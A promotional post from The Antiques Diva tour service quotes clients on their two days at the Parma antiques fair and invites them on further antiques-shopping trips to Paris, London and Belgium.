In a blog they wrote about their Antiques Diva experience, they write, “In our two days at the Parma antiques fair, we effortlessly wove through the multiple massive buildings, following Toma and Susan (our charming and knowledgeable Italian Diva) to meet special friends and dealers, from Toma’s favorite purveyor of Murano glass to the creative couple from Florence who fashion chic new treasures by blending antiques with modern artistry,to her dealer friend Maurizio from Sicily (now located in Florence).”
Read the entire blog and watch the fun video they shot in the video series to-mercanteinfiera-the-parma-antiques-fair/” target=”_blank”>Stylish Shopping with Susanna Salk.
Thanks ladies for coming over and living La Dolce Diva for a few days! We certainly had a blast giving you just a glimpse of what we do on a daily basis all across Europe. When you’re ready for round two, why don’t we hit Les Puces in Paris… or The Decorative Fair at Battersea in London… or hop in the car and let us introduce you to our secret sources in the Belgian countryside… So many options, so little time!
Ciao,
The Antiques Diva®
